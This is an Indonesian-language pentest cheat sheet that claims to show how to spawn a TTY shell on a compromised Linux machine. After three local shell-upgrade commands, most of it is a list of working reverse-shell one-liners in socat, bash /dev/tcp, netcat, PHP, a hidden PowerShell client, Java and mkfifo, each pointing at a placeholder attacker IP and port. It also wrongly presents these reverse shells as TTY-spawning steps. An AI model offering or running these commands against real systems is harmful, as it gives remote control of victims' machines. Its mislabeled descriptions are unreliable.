Spawning TTY Shell
Cara melakukan Spawning TTY Shell dengan Spawn TTY Shell Cheatsheet Commands. Setelah Anda mendapatkan shell (Backconnect atau Reverse Shell) pada mesin Linux yang menjadi korban, shell tersebut mungkin tidak memiliki TTY (koneksi terminal) dan kemungkinan besar Anda perlu memunculkan shell TTY untuk melanjutkan pengujian penetrasi.

Sebenarnya, shell tanpa fungsi TTY tidak memungkinkan Anda melakukan hal-hal penting seperti perintah "su" yang digunakan untuk mengganti pengguna atau alat pembuatan dan modifikasi file "nano". Ada juga fungsi penting lainnya dalam pengujian penetrasi yang tidak berfungsi pada shell tanpa TTY.

Untuk memunculkan shell dalam shell TTY, terdapat beberapa perintah yang berguna. Perintah-perintah ini harus dijalankan dari dalam shell yang tidak memiliki TTY.

Spawning TTY Shell Linux
Spawning TTY Shell 


Berikut adalah beberapa perintah yang dapat Anda gunakan untuk memunculkan shell TTY dari dalam shell yang tidak memiliki TTY:

1. python:
python -c 'import pty; pty.spawn("/bin/bash")'
2. perl:
perl -e 'exec "/bin/bash";'
   
3. ruby:
ruby -e 'exec "/bin/bash"'
   
4. socat:
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.0.1:1234

Catatan: Ganti `10.0.0.1:1234` dengan alamat IP dan port yang sesuai.

5. bash:
/bin/bash -i >& /dev/tcp/10.0.0.1/1234 0>&1

Catatan: Ganti `10.0.0.1/1234` dengan alamat IP dan port yang sesuai.

6. nc (Netcat):
nc -e /bin/bash 10.0.0.1 1234

Catatan: Ganti `10.0.0.1 1234` dengan alamat IP dan port yang sesuai.

7. php:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
   
Catatan: Ganti `10.0.0.1` dan `1234` dengan alamat IP dan port yang sesuai.
   
8. powershell (Windows):
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("10.0.0.1",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
 
Catatan: Ganti `10.0.0.1` dan `1234` dengan alamat IP dan port yang sesuai.

9. java:

r = Runtime.getRuntime()   p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/1234;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])   p.waitFor()

Catatan: Ganti `10.0.0.1` dan `1234` dengan alamat IP dan port yang sesuai.
   
10. nc (Netcat) dengan opsi `-e`:

nc -e /bin/sh 10.0.0.1 1234

Catatan: Ganti `10.0.0.1` dan `1234` dengan alamat IP dan port yang sesuai.

11. nc (Netcat) dengan perintah `mkfifo`:

mkfifo /tmp/backpipe; nc 10.0.0.1 1234 0</tmp/backpipe | /bin/sh >/tmp/backpipe 2>&1; rm /tmp/backpipe

Catatan: Ganti `10.0.0.1` dan `1234` dengan alamat IP dan port yang sesuai.

Setelah Anda menjalankan salah satu perintah di atas, shell TTY akan diinisialisasi dan Anda dapat menggunakan perintah-perintah seperti "su" atau alat-alat seperti "nano" dalam pengujian penetrasi Anda.

Pastikan untuk menggunakan perintah yang sesuai dengan bahasa pemrograman yang tersedia di sistem target Anda. Selain itu, perhatikan bahwa beberapa perintah mungkin memerlukan penyesuaian tergantung pada konfigurasi sistem target Anda.

Selalu ingat bahwa pengujian penetrasi harus dilakukan dengan izin dan dalam konteks yang sah. Penggunaan teknik ini harus selalu sesuai dengan hukum dan etika yang berlaku.